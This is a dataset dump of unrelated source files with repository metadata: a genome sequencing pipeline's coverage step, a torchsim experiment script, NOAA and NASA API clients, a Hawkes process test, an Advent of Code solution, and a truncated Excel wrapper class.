m.group(1)\r\n if nearest_sts:\r\n # print OUT2 \"Nearest $nearest_sts\\t\";\r\n imprimir = f\"Nearest {nearest_sts}\"\r\n mongo_saver.save('mlst', imprimir)\r\n # para o gal\r\n gal_file.write(f\"Clone ST {_bn(imprimir)} (determinado por MLST)\\n\")\r\n m = re.search(r'.*sequence_type\":\\s\"(Unknown)\".*', line, re.IGNORECASE)\r\n if m:\r\n ST = m.group(1)\r\n # print OUT2 \"Unknown\\t\";\r\n imprimir = 'Unknown'\r\n mongo_saver.save('mlst', imprimir)\r\n # para o gal\r\n gal_file.write(f\"Clone ST {_bn(imprimir)} (determinado por MLST)\\n\")\r\n\r\nmongo_saver.save('mutacoes_poli', \"
\".join(result2))\r\ngal_file.write(\"Mutações polimixina: %s\" % \"
\".join(result2))\r\nmongo_saver.save('mutacoes_outras', \"
\".join(result3))\r\n\r\n######################################################################\r\nprint('rodar coverage')\r\n\r\n# figuring out if file is compressed or not\r\ncatcmd = \"cat\"\r\nres = sp_runner(f\"file {_bn(R1)}\", pipeout=True)\r\nif res and str(res).find(\"gzip compressed\") > -1:\r\n catcmd = \"zcat\"\r\n\r\nzcat = \" \".join([f\"echo $({catcmd} {_bn(R1)} | wc -l)/4 | bc\"])\r\nres_r1 = sp_runner(zcat, pipeout=True)\r\nn_reads1 = res_r1.decode(\"utf-8\").rstrip(\"\\n\")\r\n\r\n# o mesmo para o arquivo R2\r\nzcat2 = \" \".join([f\"echo $({catcmd} {_bn(R2)} | wc -l)/4 | bc\"])\r\nres_r2 = sp_runner(zcat2, pipeout=True)\r\nn_reads2 = res_r2.decode(\"utf-8\").rstrip(\"\\n\")\r\n\r\nsoma_reads = (float(n_reads1) + float(n_reads2))\r\n\r\n###calcular tamanho medio das reads, vou usar só as R1 como base\r\nzcat3 = \" \".join([f\"{catcmd} {_bn(R1)} | awk '{{if(NR%4==2) {{count++; bases += length}} }} END{{print bases/count}}'\"])\r\nres_avg = sp_runner(zcat3, pipeout=True)\r\naverage_length2 = res_avg.decode(\"utf-8\").rstrip(\"\\n\")\r\n\r\ngal_file.close()\r\n\r\ncoverage = (float(average_length2) * soma_reads) / float(genome_size)\r\n\r\nmongo_saver.save('coverage', coverage)\r\n", "repo_name": "ahonig/aureus_pipeline", "sub_path": "pipeline_website3.py", "file_name": "pipeline_website3.py", "file_ext": "py", "file_size_in_byte": 26996, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 53, "usage_type": "attribute"}, {"api_name": "libs.tools._str", "line_number": 55, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 57, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 60, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 60, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 64, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 67, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 70, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 73, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 76, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 79, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 82, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 85, "usage_type": "attribute"}, {"api_name": "libs.tools._bn", "line_number": 93, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 94, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 95, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 96, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 97, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 98, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 99, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 100, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 101, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 102, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 103, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 105, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 106, "usage_type": "attribute"}, {"api_name": "libs.tools.MongoSaver", "line_number": 108, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 112, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 113, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 117, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 121, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 122, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 139, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 155, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}, {"api_name": "libs.tools.sp_runner", "line_number": 160, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 162, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 163, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 166, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 167, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 168, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 169, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 170, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 181, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 203, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 204, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 209, "usage_type": "call"}, {"api_name": "libs.tools.count_kraken_words", "line_number": 210, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 239, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 239, "usage_type": "call"}, {"api_name": "re.I", "line_number": 239, "usage_type": "attribute"}, {"api_name": "libs.tools._bn", "line_number": 268, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli_pseudo.poli_pseudo", "line_number": 269, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli_pseudo", "line_number": 269, "usage_type": "name"}, {"api_name": "libs.tools._bn", "line_number": 270, "usage_type": "call"}, {"api_name": "libs.alinhamento_outros_pseudo.outros_pseudo", "line_number": 271, "usage_type": "call"}, {"api_name": "libs.alinhamento_outros_pseudo", "line_number": 271, "usage_type": "name"}, {"api_name": "libs.tools._bn", "line_number": 307, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli.poli", "line_number": 308, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli", "line_number": 308, "usage_type": "name"}, {"api_name": "libs.tools._bn", "line_number": 310, "usage_type": "call"}, {"api_name": "libs.alinhamento_outros_kleb.outros_kleb", "line_number": 311, "usage_type": "call"}, {"api_name": "libs.alinhamento_outros_kleb", "line_number": 311, "usage_type": "name"}, {"api_name": "libs.tools._bn", "line_number": 316, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli_acineto.poli_acineto", "line_number": 317, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli_acineto", "line_number": 317, "usage_type": "name"}, {"api_name": "libs.tools._bn", "line_number": 328, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 329, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 336, "usage_type": "call"}, {"api_name": "re.search", "line_number": 342, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 342, "usage_type": "attribute"}, {"api_name": "libs.tools._bn", "line_number": 343, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli_enterobacter.poli_enterobacter", "line_number": 344, "usage_type": "call"}, {"api_name": "libs.alinhamento_poli_enterobacter", "line_number": 344, "usage_type": "name"}, {"api_name": "libs.tools._bn", "line_number": 359, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 362, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 365, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 374, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 375, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 376, "usage_type": "call"}, {"api_name": "libs.tools.get_abricate_result", "line_number": 377, "usage_type": "call"}, {"api_name": "re.match", "line_number": 394, "usage_type": "call"}, {"api_name": "re.I", "line_number": 394, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 397, "usage_type": "call"}, {"api_name": "re.I", "line_number": 397, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 400, "usage_type": "call"}, {"api_name": "re.I", "line_number": 400, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 403, "usage_type": "call"}, {"api_name": "re.I", "line_number": 403, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 406, "usage_type": "call"}, {"api_name": "re.I", "line_number": 406, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 409, "usage_type": "call"}, {"api_name": "re.I", "line_number": 409, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 412, "usage_type": "call"}, {"api_name": "re.I", "line_number": 412, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 415, "usage_type": "call"}, {"api_name": "re.I", "line_number": 415, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 418, "usage_type": "call"}, {"api_name": "re.I", "line_number": 418, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 421, "usage_type": "call"}, {"api_name": "re.I", "line_number": 421, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 424, "usage_type": "call"}, {"api_name": "re.I", "line_number": 424, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 427, "usage_type": "call"}, {"api_name": "re.I", "line_number": 427, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 430, "usage_type": "call"}, {"api_name": "re.I", "line_number": 430, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 433, "usage_type": "call"}, {"api_name": "re.I", "line_number": 433, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 436, "usage_type": "call"}, {"api_name": "re.I", "line_number": 436, "usage_type": "attribute"}, {"api_name": "re.match", "line_number": 439, "usage_type": "call"}, {"api_name": "re.I", "line_number": 439, "usage_type": "attribute"}, {"api_name": "libs.tools._bn", "line_number": 453, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 454, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 455, "usage_type": "call"}, {"api_name": "libs.tools.get_abricate_result", "line_number": 456, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 469, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 473, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 474, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 475, "usage_type": "call"}, {"api_name": "libs.tools.get_abricate_result", "line_number": 476, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 495, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 498, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 504, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 511, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 514, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 516, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 521, "usage_type": "call"}, {"api_name": "re.search", "line_number": 526, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 526, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 527, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 527, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 528, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 528, "usage_type": "attribute"}, {"api_name": "libs.tools._bn", "line_number": 537, "usage_type": "call"}, {"api_name": "re.search", "line_number": 538, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 538, "usage_type": "attribute"}, {"api_name": "libs.tools._bn", "line_number": 546, "usage_type": "call"}, {"api_name": "re.search", "line_number": 547, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 547, "usage_type": "attribute"}, {"api_name": "libs.tools._bn", "line_number": 554, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 565, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 565, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 569, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 570, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 574, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 575, "usage_type": "call"}, {"api_name": "libs.tools._bn", "line_number": 581, "usage_type": "call"}, {"api_name": "libs.tools.sp_runner", "line_number": 582, "usage_type": "call"}]} {"seq_id": "44132303318", "text": "import logging\n\nfrom eval_utils import parse_test_args, run_experiment_with_ui, run_experiment\nfrom torchsim.core.eval2.experiment import Experiment\nfrom torchsim.core.eval2.experiment_runner_params import ExperimentParams\nfrom torchsim.core.eval2.scaffolding import TopologyScaffoldingFactory\nfrom torchsim.core.nodes.internals.grid_world import GridWorldParams, ResetStrategy\nfrom torchsim.research.research_topics.rt_4_2_1_actions.node_groups.two_experts_group import TwoExpertsGroup\nfrom torchsim.research.research_topics.rt_4_2_1_actions.templates.goal_directed_template import GoalDirectedTemplate\nfrom torchsim.research.research_topics.rt_4_2_1_actions.topologies.goal_directed_template_topology import \\\n GoalDirectedTemplateTopology, GoalDirectedTemplateTopologyParams\n\nlogger = logging.getLogger(__name__)\n\n\ndef run_measurement(topology_parameters, args, run_debug: bool, avg_reward_window_size: int = 100,\n run_gui: bool = True):\n max_steps = 100 if run_debug else 40000\n\n scaffolding = TopologyScaffoldingFactory(GoalDirectedTemplateTopology,\n model=TwoExpertsGroup,\n params=GoalDirectedTemplateTopologyParams)\n\n template = GoalDirectedTemplate(\"Goal Directed Behavior - Comparision of TA Hierarchies\",\n avg_reward_window_size=avg_reward_window_size)\n\n runner_parameters = ExperimentParams(max_steps=max_steps,\n save_cache=args.save,\n load_cache=args.load,\n clear_cache=args.clear,\n calculate_statistics=not args.computation_only,\n experiment_folder=args.alternative_results_folder)\n\n experiment = Experiment(template, scaffolding, topology_parameters, runner_parameters)\n\n if run_gui:\n run_experiment_with_ui(experiment)\n else:\n run_experiment(experiment)\n\n\ndef three_rooms_tiny(run_debug, run_gui, n_parallel_runs):\n world_params = GridWorldParams(map_name='MapThreeRoomTiny', reset_strategy=ResetStrategy.ANYWHERE)\n # 4 actions per each world state.\n # c_n_ccs = world_params.get_n_unique_visible_egocentric_states() * 4\n c_n_ccs = 44\n params = [\n {\n 'model': {'c_n_ccs': c_n_ccs, 'c_seq_length': 5, 'c_seq_lookahead': 3, 'c_buffer_size': 10000,\n 'p_seq_length': 7, 'p_seq_lookahead': 5, 'p_n_ccs': 5, 'flock_size': n_parallel_runs},\n 'params': {'use_egocentric': False, 'n_parallel_runs': n_parallel_runs, 'world_params': world_params},\n }\n ]\n run_measurement(params, parse_test_args(), run_debug, avg_reward_window_size=499, run_gui=run_gui)\n\n\ndef reward_hint(run_debug, run_gui, n_parallel_runs):\n world_params = GridWorldParams(map_name='Friston', reward_switching=True)\n\n c_n_ccs = 19\n params = [\n {\n 'model': {'c_n_ccs': c_n_ccs, 'c_seq_length': 4, 'c_seq_lookahead': 2, 'c_buffer_size': 7000,\n 'p_seq_length': 6, 'p_seq_lookahead': 4, 'p_n_ccs': 6, 'flock_size': n_parallel_runs},\n 'params': {'use_egocentric': True, 'n_parallel_runs': n_parallel_runs, 'world_params': world_params},\n }\n ]\n run_measurement(params, parse_test_args(), run_debug, avg_reward_window_size=499, run_gui=run_gui)\n\n\nif __name__ == '__main__':\n debug = False\n gui = True\n # three_rooms_tiny(debug, gui, n_parallel_runs=5)\n reward_hint(debug, gui, n_parallel_runs=5)\n", "repo_name": "GoodAI/torchsim", "sub_path": "torchsim/research/research_topics/rt_4_2_1_actions/experiments/goal_directed_experiment.py", "file_name": "goal_directed_experiment.py", "file_ext": "py", "file_size_in_byte": 3605, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "torchsim.core.eval2.scaffolding.TopologyScaffoldingFactory", "line_number": 20, "usage_type": "call"}, {"api_name": "torchsim.research.research_topics.rt_4_2_1_actions.topologies.goal_directed_template_topology.GoalDirectedTemplateTopology", "line_number": 20, "usage_type": "argument"}, {"api_name": "torchsim.research.research_topics.rt_4_2_1_actions.node_groups.two_experts_group.TwoExpertsGroup", "line_number": 21, "usage_type": "name"}, {"api_name": "torchsim.research.research_topics.rt_4_2_1_actions.topologies.goal_directed_template_topology.GoalDirectedTemplateTopologyParams", "line_number": 22, "usage_type": "name"}, {"api_name": "torchsim.research.research_topics.rt_4_2_1_actions.templates.goal_directed_template.GoalDirectedTemplate", "line_number": 24, "usage_type": "call"}, {"api_name": "torchsim.core.eval2.experiment_runner_params.ExperimentParams", "line_number": 27, "usage_type": "call"}, {"api_name": "torchsim.core.eval2.experiment.Experiment", "line_number": 34, "usage_type": "call"}, {"api_name": "eval_utils.run_experiment_with_ui", "line_number": 37, "usage_type": "call"}, {"api_name": "eval_utils.run_experiment", "line_number": 39, "usage_type": "call"}, {"api_name": "torchsim.core.nodes.internals.grid_world.GridWorldParams", "line_number": 43, "usage_type": "call"}, {"api_name": "torchsim.core.nodes.internals.grid_world.ResetStrategy.ANYWHERE", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torchsim.core.nodes.internals.grid_world.ResetStrategy", "line_number": 43, "usage_type": "name"}, {"api_name": "eval_utils.parse_test_args", "line_number": 54, "usage_type": "call"}, {"api_name": "torchsim.core.nodes.internals.grid_world.GridWorldParams", "line_number": 58, "usage_type": "call"}, {"api_name": "eval_utils.parse_test_args", "line_number": 68, "usage_type": "call"}]} {"seq_id": "16965985251", "text": "# Author: Alexander Flores Spring 2023 Class: CS 320\nimport json\nimport requests\nfrom datetime import datetime\nfrom time import sleep\nfrom api.tools import gen_attribute\n\ndef gen_url(start_date, end_date, data_type, zip_code):\n base_url = \"https://www.ncei.noaa.gov/cdo-web/api/v2/data?\"\n metadata = gen_attribute('includemetadata', 'false') + gen_attribute('units', 'metric')\n \n location = gen_attribute('locationid', f'ZIP:{zip_code}')\n dataset = gen_attribute('datasetid', 'GHCND')\n datatype = gen_attribute('datatypeid', data_type)\n startdate = gen_attribute('startdate', start_date)\n enddate = gen_attribute('enddate', end_date)\n limit = gen_attribute('limit', '1000')\n \n return base_url + limit + location + dataset + datatype + startdate + enddate + metadata\n\n\ndef run_noaa_api(token, start_date, end_date, data_type, zip_code):\n url = gen_url(start_date, end_date, data_type, zip_code)\n \n r = requests.get(url, headers={'token':token})\n data = json.loads(r.text)\n \n if len(data) == 0: # params not within range of api\n return None\n if 'status' in data: # token error\n return None\n \n return data['results']\n \n", "repo_name": "AFloer9/Agricultural_Monitoring_App", "sub_path": "app/api/noaa_api.py", "file_name": "noaa_api.py", "file_ext": "py", "file_size_in_byte": 1194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "api.tools.gen_attribute", "line_number": 10, "usage_type": "call"}, {"api_name": "api.tools.gen_attribute", "line_number": 12, "usage_type": "call"}, {"api_name": "api.tools.gen_attribute", "line_number": 13, "usage_type": "call"}, {"api_name": "api.tools.gen_attribute", "line_number": 14, "usage_type": "call"}, {"api_name": "api.tools.gen_attribute", "line_number": 15, "usage_type": "call"}, {"api_name": "api.tools.gen_attribute", "line_number": 16, "usage_type": "call"}, {"api_name": "api.tools.gen_attribute", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 26, "usage_type": "call"}]} {"seq_id": "24560772537", "text": "\"\"\"Util that calls several NASA APIs.\"\"\"\nimport json\n\nimport requests\nfrom langchain_core.pydantic_v1 import BaseModel\n\nIMAGE_AND_VIDEO_LIBRARY_URL = \"https://images-api.nasa.gov\"\n\n\nclass NasaAPIWrapper(BaseModel):\n def get_media(self, query: str) -> str:\n params = json.loads(query)\n if params.get(\"q\"):\n queryText = params[\"q\"]\n params.pop(\"q\")\n else:\n queryText = \"\"\n response = requests.get(\n IMAGE_AND_VIDEO_LIBRARY_URL + \"/search?q=\" + queryText, params=params\n )\n data = response.json()\n return data\n\n def get_media_metadata_manifest(self, query: str) -> str:\n response = requests.get(IMAGE_AND_VIDEO_LIBRARY_URL + \"/asset/\" + query)\n return response.json()\n\n def get_media_metadata_location(self, query: str) -> str:\n response = requests.get(IMAGE_AND_VIDEO_LIBRARY_URL + \"/metadata/\" + query)\n return response.json()\n\n def get_video_captions_location(self, query: str) -> str:\n response = requests.get(IMAGE_AND_VIDEO_LIBRARY_URL + \"/captions/\" + query)\n return response.json()\n\n def run(self, mode: str, query: str) -> str:\n if mode == \"search_media\":\n output = self.get_media(query)\n elif mode == \"get_media_metadata_manifest\":\n output = self.get_media_metadata_manifest(query)\n elif mode == \"get_media_metadata_location\":\n output = self.get_media_metadata_location(query)\n elif mode == \"get_video_captions_location\":\n output = self.get_video_captions_location(query)\n else:\n output = f\"ModeError: Got unexpected mode {mode}.\"\n\n try:\n return json.dumps(output)\n except Exception:\n return str(output)\n", "repo_name": "langchain-ai/langchain", "sub_path": "libs/community/langchain_community/utilities/nasa.py", "file_name": "nasa.py", "file_ext": "py", "file_size_in_byte": 1787, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 68990, "dataset": "github-code", "pt": "7", "api": [{"api_name": "langchain_core.pydantic_v1.BaseModel", "line_number": 10, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 29, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 33, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 49, "usage_type": "call"}]} {"seq_id": "24881576620", "text": "import numpy as np\nimport unittest\n\nfrom hawkes import * \n\nclass Test(unittest.TestCase):\n\n\n def setUp(self):\n self.mu, self.a, self.b = .9, .8, .5\n self.t = np.linspace(0, 1, 100)\n\n def tearDown(self):\n pass\n\n\n def testStructMatricesEquality(self):\n mu, a, b = self.mu, self.a, self.b\n t = self.t\n dt = TDMatrix(t)\n p1 = StructProbMatrix(dt, mu, a, b)\n p2 = StructProbMatrixFromTime(t, mu, a, b)\n np.testing.assert_array_almost_equal(p1, p2)\n \n @unittest.skip(\"Only useful for debugging.\")\n def testVizGradient(self):\n \n def inspect(mu, a, b, t, p, dt, T, S0, S1, S2):\n \"\"\" A function called after each iteration of the EM algorithm. \"\"\"\n \n import matplotlib.pyplot as plt\n \n xx = np.linspace(b - 5, b + 5, 1000)\n fx = [f(t, T, S0, S1, S2)(x) for x in xx]\n plt.plot(xx, fx)\n plt.xlabel(r\"$b$\")\n plt.ylabel(r\"$f(b)$\")\n plt.title(r\"Graph of $f(b) = \\frac{\\partial Q(\\theta, \\theta_{old})}{\\partial b}$\")\n plt.axhline(0, linestyle='--')\n plt.show()\n ff = lambda k: Q(mu, a, k, t, p, dt)\n fx = [ff(x) for x in xx]\n plt.plot(xx, fx)\n plt.axvline(b, linestyle='--')\n plt.xlabel(r\"$b$\")\n plt.ylabel(r\"$Q(\\theta, \\theta_{old})$\")\n plt.title(r\"Graph of $Q(\\theta, \\theta_{old})$\")\n plt.show()\n \n ExpectationMaximization(self.t, 100, callback=inspect)\n \n\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()", "repo_name": "CompSquad/hawkes-clustering", "sub_path": "hawkes/test_hawkes.py", "file_name": "test_hawkes.py", "file_ext": "py", "file_size_in_byte": 1678, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "unittest.TestCase", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.testing.assert_array_almost_equal", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.testing", "line_number": 23, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "unittest.skip", "line_number": 25, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 56, "usage_type": "call"}]} {"seq_id": "34076375909", "text": "import math\nfrom collections import defaultdict\nfrom itertools import product\nfrom time import sleep\nfrom utils import read_input\n\nDAY = 11\n\n\ndef parse(input_str):\n grid = defaultdict(lambda: -math.inf)\n for (i, line) in enumerate(input_str.splitlines()):\n for (j, n) in enumerate(line):\n grid[i, j] = int(n)\n return grid\n\n\ndef neighbors(i, j):\n steps = [-1, 0, 1]\n for dx, dy in product(steps, steps):\n if dy == dx == 0:\n continue\n yield i + dx, j + dy\n\n\ndef step(grid):\n flash_count = 0\n todo = []\n for (i, j) in grid:\n grid[i, j] += 1\n if grid[i, j] > 9:\n todo.append((i, j))\n while todo:\n i, j = todo.pop()\n for a, b in neighbors(i, j):\n if (a, b) in todo or grid[a, b] == 0:\n continue\n grid[a, b] += 1\n if grid[a, b] > 9:\n todo.append((a, b))\n grid[i, j] = 0\n flash_count += 1\n return flash_count\n\n\ndef display(grid, h, w):\n print(\"\\033[2J\\033[1;1H\")\n img = [[' '] * w for _ in range(h)]\n for i in range(h):\n for j in range(w):\n if grid[(i, j)] == 0:\n img[i][j] = \"\\033[33;1m\\u25A0\\033[0m\"\n else:\n img[i][j] = \"\\033[34;1m\\u25A0\\033[0m\"\n print('\\n'.join([''.join(l) for l in img]))\n\n\ndef part_one(grid):\n return sum(step(grid) for _ in range(100))\n\n\ndef part_two(grid):\n h = max(i for (i, _) in grid) + 1\n w = max(j for (_, j) in grid) + 1\n octopus_count = len(grid)\n step_count = 0\n while True:\n flash_count = step(grid)\n step_count += 1\n display(grid, h, w)\n print(f\"Step: {step_count}\")\n if flash_count == octopus_count:\n return step_count\n sleep(0.1)\n\n\nif __name__ == \"__main__\":\n data = parse(read_input(day=DAY))\n part_two(data)\n", "repo_name": "kwentine/aoc2021", "sub_path": "day11.py", "file_name": "day11.py", "file_ext": "py", "file_size_in_byte": 1876, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 11, "usage_type": "call"}, {"api_name": "math.inf", "line_number": 11, "usage_type": "attribute"}, {"api_name": "itertools.product", "line_number": 20, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 74, "usage_type": "call"}, {"api_name": "utils.read_input", "line_number": 78, "usage_type": "call"}]} {"seq_id": "15528409026", "text": "import re\nfrom typing import Union, Tuple, Any\n\nimport numpy as np\nimport pandas as pd\nimport pywintypes\nimport win32com.client\n\nfrom src import config\n\n\nclass Range():\n \"\"\"An object representing a range of cells in a Microsoft Excel workbook.\n Attributes:\n app: the Microsoft Excel application that the workbook the range belongs to is open in.\n sheet: the win32com.client.CDispatch object referring to the worksheet that\n this cell range is on.\n dim: tuple, the number of columns, rows in this range.\n rows: int, the number of rows in the range.\n columns: int, the number of columns in the range.\n values: tuple, the values of the cells in the range.\n name: str or None, name of the range in 